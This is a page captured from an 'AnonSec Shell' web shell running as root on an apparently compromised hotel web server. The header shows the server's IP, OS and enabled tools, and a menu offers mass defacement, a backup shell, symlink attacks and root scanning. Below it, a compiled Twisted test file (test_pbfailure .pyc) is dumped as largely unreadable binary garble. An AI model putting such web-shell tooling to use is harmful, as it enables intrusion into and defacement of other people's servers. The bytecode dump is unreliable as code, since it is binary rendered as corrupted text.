AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/spread/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/spread/test/__pycache__/test_pbfailure.cpython-310.pyc
o

�b;�@sjdZddlmZddlmZmZddlmZddlm	Z	ddl
mZmZm
Z
ddlmZGdd	�d	e�ZGd
d�de�ZGdd
�d
e
j�ZGdd�de
j�ZGdd�deje
je
j�ZGdd�de
je
j�Ze
�ee�e
�ee�e
j�e�Gdd�de
j�ZGdd�de
j�Z Gdd�dej!�Z"Gdd�de"�Z#Gdd�de#�Z$Gdd�d�Z%Gd d!�d!ej!�Z&d"S)#z!
Tests for error handling in PB.
�)�StringIO)�defer�reactor)�log)�qual)�flavors�jelly�pb)�unittestc@�eZdZdZdS)�AsynchronousExceptionz�
    Helper used to test remote methods which return Deferreds which fail with
    exceptions which are not L{pb.Error} subclasses.
    N��__name__�
__module__�__qualname__�__doc__�rr�D/usr/lib/python3/dist-packages/twisted/spread/test/test_pbfailure.pyr�rc@r)�SynchronousExceptionzm
    Helper used to test remote methods which raise exceptions which are not
    L{pb.Error} subclasses.
    Nr
rrrrrrrc@r)�AsynchronousErrorz�
    Helper used to test remote methods which return Deferreds which fail with
    exceptions which are L{pb.Error} subclasses.
    Nr
rrrrr!rrc@r)�SynchronousErrorzi
    Helper used to test remote methods which raise exceptions which are
    L{pb.Error} subclasses.
    Nr
rrrrr(rrc@�eZdZdS)�
JellyErrorN�rrrrrrrr/�rc@r)�
SecurityErrorNrrrrrr3rrc@sheZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zddd�Zddd�Z
dS)�
SimpleRootcC�t�td��S)zD
        Fail asynchronously with a non-pb.Error exception.
        zremote asynchronous exception)r�failr��selfrrr�remote_asynchronousException>�z'SimpleRoot.remote_asynchronousExceptioncC�td��)zC
        Fail synchronously with a non-pb.Error exception.
        zremote synchronous exception)rr rrr�remote_synchronousExceptionD�z&SimpleRoot.remote_synchronousExceptioncCr)z@
        Fail asynchronously with a pb.Error exception.
        zremote asynchronous error)rrrr rrr�remote_asynchronousErrorJr#z#SimpleRoot.remote_asynchronousErrorcCr$)z?
        Fail synchronously with a pb.Error exception.
        zremote synchronous error)rr rrr�remote_synchronousErrorPr&z"SimpleRoot.remote_synchronousErrorcCsGdd�dtj�}|d��)z>
        Fail with error that is not known to client.
        c@r)z4SimpleRoot.remote_unknownError.<locals>.UnknownErrorNrrrrr�UnknownError[rr)zI'm not known to client!)r	�Error)r!r)rrr�remote_unknownErrorVszSimpleRoot.remote_unknownErrorcC�|��dS�N)�
raiseJellyr rrr�remote_jelly`�zSimpleRoot.remote_jellycCr,r-)�
raiseSecurityr rrr�remote_securitycr0zSimpleRoot.remote_securitycC�"t��}|�|j�|�d�|Sr-)r�Deferred�addCallbackr.�callback�r!�drrr�remote_deferredJellyf�
zSimpleRoot.remote_deferredJellycCr3r-)rr4r5r1r6r7rrr�remote_deferredSecuritylr:z"SimpleRoot.remote_deferredSecurityNcCr$)NzI'm jellyable!)r�r!�resultsrrrr.r�zSimpleRoot.raiseJellycCr$)NzI'm secure!)rr<rrrr1ur>zSimpleRoot.raiseSecurityr-)rrrr"r%r'r(r+r/r2r9r;r.r1rrrrr=s

rc@seZdZdZdZdd�ZdS)�SaveProtocolServerFactoryzd
    A L{pb.PBServerFactory} that saves the latest connected client in
    C{protocolInstance}.
    NcCs
||_dS)z3
        Keep track of the given protocol.
        N)�protocolInstance)r!�protocolrrr�clientConnectionMade�s
z.SaveProtocolServerFactory.clientConnectionMade)rrrrr@rBrrrrr?ysr?c@s@eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dS)�PBConnTestCasercCs|��|��dSr-)�_setUpServer�_setUpClientr rrr�setUp�szPBConnTestCase.setUpcCs.tt��|_|j|j_tjd|jdd�|_dS)Nr�	127.0.0.1)�	interface)r?r�
serverFactory�unsafeTracebacksr�	listenTCP�
serverPortr rrrrD�s

�zPBConnTestCase._setUpServercCs,|j��j}t��|_t�d||j�|_dS)NrG)	rL�getHost�portr	�PBClientFactory�
clientFactoryr�
connectTCP�clientConnector)r!�portNorrrrE�s


�zPBConnTestCase._setUpClientcCs0|jjdur
|jjj��t�|��|��g�Sr-)rIr@�	transport�loseConnectionr�
gatherResults�_tearDownServer�_tearDownClientr rrr�tearDown�szPBConnTestCase.tearDowncCst�|jj�Sr-)r�
maybeDeferredrL�
stopListeningr rrrrW�szPBConnTestCase._tearDownServercCs|j��t�d�Sr-)rR�
disconnectr�succeedr rrrrX�s

zPBConnTestCase._tearDownClientN)
rrrrJrFrDrErYrWrXrrrrrC�srCc@s�eZdZejjZdd�Zdd�Zdd�Z	dd�Z
d	d
�Zdd�Zd
d�Z
d$dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�ZdS)%�PBFailureTestscs6���fdd���j��}��fdd�}|�|�|S)NcsF|�����|jd��r����}��t|�d�|j|j|jfS)N�Traceback unavailable
�)�trap�compare�	traceback�flushLoggedErrors�assertEqual�len�type�value)�err�errs)�
exceptionType�flushr!rr�eb�s

z)PBFailureTests._exceptionTest.<locals>.ebcs|���}|���|Sr-)�
callRemote�
addErrback)�rootr8)rm�methodrr�
gotRootObject�s

z4PBFailureTests._exceptionTest.<locals>.gotRootObject�rP�
getRootObjectr5)r!rqrkrlr8rrr)rmrkrlrqr!r�_exceptionTest�s


zPBFailureTests._exceptionTestcC�|�dtd�S)z�
        Test that a Deferred returned by a remote method which already has a
        Failure correctly has that error passed back to the calling side.
        �asynchronousExceptionT)rurr rrr�test_asynchronousException��z)PBFailureTests.test_asynchronousExceptioncCrv)zw
        Like L{test_asynchronousException}, but for a method which raises an
        exception synchronously.
        �synchronousExceptionT)rurr rrr�test_synchronousException�ryz(PBFailureTests.test_synchronousExceptioncCrv)z�
        Like L{test_asynchronousException}, but for a method which returns a
        Deferred failing with an L{pb.Error} subclass.
        �asynchronousErrorF)rurr rrr�test_asynchronousError�ryz%PBFailureTests.test_asynchronousErrorcCrv)z}
        Like L{test_asynchronousError}, but for a method which synchronously
        raises a L{pb.Error} subclass.
        �synchronousErrorF)rurr rrr�test_synchronousError�ryz$PBFailureTests.test_synchronousErrorcCs|�||�|Sr-)re)r!�result�expectedResultrrr�_success�szPBFailureTests._successcCs|j|j||fd�|S)N)�callbackArgs)�addCallbacksr�)r!�
remoteCallr�rmrrr�_addFailingCallbacks�sz#PBFailureTests._addFailingCallbacksNcs,�j��}�����fdd�}|�|�|S)z�
        Call the given remote method and attach the given errback to the
        resulting Deferred.  If C{exc} is not None, also assert that one
        exception of that type was logged.
        cs8��|������}�dur��fdd�}|�|�|S)Ncs��t�����d�|S)Nr`)rerfrd)ri)�excr!rr�
gotFailure�sz@PBFailureTests._testImpl.<locals>.gotRootObj.<locals>.gotFailure)r�rn�addBoth)�obj�failureDeferredr��rmr��expectedrqr!rr�
gotRootObj�s�
z,PBFailureTests._testImpl.<locals>.gotRootObjrs)r!rqr�rmr��rootDeferredr�rr�r�	_testImpl�s


zPBFailureTests._testImplc��fdd�}��dd|�S)z�
        Test that an exception which is a subclass of L{pb.Error} has more
        information passed across the network to the calling side.
        c�,|�t���|jt���|j|j�dS)N�+�rar�assertNotIsInstancerg�str�assertIsInstancerh�rr rr�failureJelly�
z6PBFailureTests.test_jellyFailure.<locals>.failureJellyrr��r�)r!r�rr r�test_jellyFailure��z PBFailureTests.test_jellyFailurecr�)z�
        Test that a Deferred which fails with a L{pb.Error} is treated in
        the same way as a synchronously raised L{pb.Error}.
        cr�)N�r�r�r rr�failureDeferredJellyr�zFPBFailureTests.test_deferredJellyFailure.<locals>.failureDeferredJelly�
deferredJellyr�r�)r!r�rr r�test_deferredJellyFailure
r�z(PBFailureTests.test_deferredJellyFailurecr�)z�
        A non-jellyable L{pb.Error} subclass raised by a remote method is
        turned into a Failure with a type set to the FQPN of the exception
        type.
        c���|jd�dS)Ns3twisted.spread.test.test_pbfailure.SynchronousError��rergr�r rr�failureUnjellyable��zBPBFailureTests.test_unjellyableFailure.<locals>.failureUnjellyabler~r�r�)r!r�rr r�test_unjellyableFailure�z&PBFailureTests.test_unjellyableFailurecr�)z�
        Test that an exception which is a subclass of L{pb.Error} but not
        known on the client side has its type set properly.
        cr�)Ns/twisted.spread.test.test_pbfailure.UnknownError��r�r�r rr�failureUnknown-r�z:PBFailureTests.test_unknownFailure.<locals>.failureUnknown�unknownErrorr�r�)r!r�rr r�test_unknownFailure'r�z"PBFailureTests.test_unknownFailurecr�)z�
        Test that even if an exception is not explicitly jellyable (by being
        a L{pb.Jellyable} subclass), as long as it is an L{pb.Error}
        subclass it receives the same special treatment.
        cr�)N���rarr�rgr�r�rhr�r rr�failureSecurity<r�z<PBFailureTests.test_securityFailure.<locals>.failureSecurity�securityr�r�)r!r�rr r�test_securityFailure5r�z#PBFailureTests.test_securityFailurecr�)z�
        Test that a Deferred which fails with a L{pb.Error} which is not
        also a L{pb.Jellyable} is treated in the same way as a synchronously
        raised exception of the same type.
        cr�)N�r�r�r rr�failureDeferredSecurityKr�zEPBFailureTests.test_deferredSecurity.<locals>.failureDeferredSecurity�deferredSecurityr�r�)r!r�rr r�test_deferredSecurityDr�z$PBFailureTests.test_deferredSecuritycs�fdd�}��dd|t�S)z�
        Test that attempting to call a method which is not defined correctly
        results in an AttributeError on the calling side.
        cs|�tj���|jd�dS)Nr_��)rar	�NoSuchMethodrbrcr�r rr�
failureNoSuchYsz>PBFailureTests.test_noSuchMethodFailure.<locals>.failureNoSuch�nosuchr�)r��AttributeError)r!r�rr r�test_noSuchMethodFailureSsz'PBFailureTests.test_noSuchMethodFailurecs6�j��}dd�}|�|��fdd�}|�|�|S)z�
        Test that a copied failure received from a PB call can be logged
        locally.

        Note: this test needs some serious help: all it really tests is that
        log.err(copiedFailure) doesn't raise an exception.
        cSs
|�d�S)Nrz)rn)�rootObjrrr�	connectedjs
z;PBFailureTests.test_copiedFailureLogging.<locals>.connectedcs(t�|���t�}��t|�d�dS)N�)rrirdrrerf)�failurerjr rr�	exceptionos

z;PBFailureTests.test_copiedFailureLogging.<locals>.exception)rPrtr5ro)r!r8r�r�rr r�test_copiedFailureLogging`s


z(PBFailureTests.test_copiedFailureLoggingcs�t�td��}t�tj|t�d��}g���fdd�}|�}|�d���t|j	|���
t��d��d}��
|jt
t��d����
|jd	���
|jd
�dS)z�
        L{pb.CopiedFailure.throwExceptionIntoGenerator} will throw a
        L{RemoteError} into the given paused generator at the point where it
        last yielded.
        �foo��invokerc
3sN�zdVWntjy}z��|�WYd}~dSd}~ww��d�dS)NzRemoteError not raised)r	�RemoteError�appendr)r��r�r!rr�
generatorFunc�s�
��zFPBFailureTests.test_throwExceptionIntoGenerator.<locals>.generatorFuncNr`r�ascii)r�r_)r	�CopyableFailurer�r�unjelly�DummyInvoker�send�assertRaises�
StopIteration�throwExceptionIntoGeneratorrerf�
remoteTyper�encode�args�remoteTraceback)r!�original�copyr��genr�rr�r� test_throwExceptionIntoGeneratorxs
z/PBFailureTests.test_throwExceptionIntoGeneratorr-)rrrr
�TestCasererbrurxr{r}rr�r�r�r�r�r�r�r�r�r�r�r�rrrrr^�s&

r^c@seZdZejjZdZdS)�PBFailureUnsafeTestsr`N)rrrr
r��failIfEqualsrbrJrrrrr��sr�c@seZdZdZdZdS)r�zZ
    A behaviorless object to be used as the invoker parameter to
    L{jelly.jelly}.
    N)rrrr�serializingPerspectiverrrrr��sr�c@s(eZdZdZdd�Zdd�Zdd�ZdS)	�FailureJellyingTestsz:
    Tests for the interaction of jelly and failures.
    cCsnt�t��}|�|�t�t�|�|�t�t�t�tj|t�d��}|�|�t�t�|�|�t�t�dS)z�
        An unjellied L{CopyableFailure} has a check method which behaves the
        same way as the original L{CopyableFailure}'s check method.
        r�N�	r	r��ZeroDivisionError�assertIs�check�ArithmeticErrorrr�r�)r!r��copiedrrr�test_unjelliedFailureCheck�sz/FailureJellyingTests.test_unjelliedFailureCheckcCs�t�t��}|�|�t�t�|�|�t�t�t�tj|t�d��}t�|�}t�tj|t�d��}|�|�t�t�|�|�t�t�dS)aX
        The object which results from jellying a L{CopyableFailure}, unjellying
        the result, creating a new L{CopyableFailure} from the result of that,
        jellying it, and finally unjellying the result of that has a check
        method which behaves the same way as the original L{CopyableFailure}'s
        check method.
        r�Nr�)r!r��
copiedOnce�
derivative�copiedTwicerrr�test_twiceUnjelliedFailureCheck�s
z4FailureJellyingTests.test_twiceUnjelliedFailureCheckcCsZt�td��}t�tj|t�d��}t�}|�|�tt�}d�	|�}|�
||���dS)a
        When L{CopiedFailure.printTraceback} is used to print a copied failure
        which was unjellied from a L{CopyableFailure} with C{unsafeTracebacks}
        set to C{False}, the string representation of the exception value is
        included in the output.
        zsome reasonr�z.Traceback from remote host -- {}: some reason
N)r	r��	Exceptionrr�r�r�printTracebackr�formatre�getvalue)r!r�r��outputr��expectedOutputrrr� test_printTracebackIncludesValue�s
�z5FailureJellyingTests.test_printTracebackIncludesValueN)rrrrr�r�r�rrrrr��s
r�N)'r�ior�twisted.internetrr�twisted.pythonr�twisted.python.reflectr�twisted.spreadrrr	�
twisted.trialr
r�rrr*rr�	Jellyable�
RemoteCopyrr�setUnjellyableForClass�globalSecurity�allowInstancesOf�Rootr�PBServerFactoryr?r�rCr^r�r�r�rrrr�<module>s0<"k	

Anon7 - 2022
AnonSec Team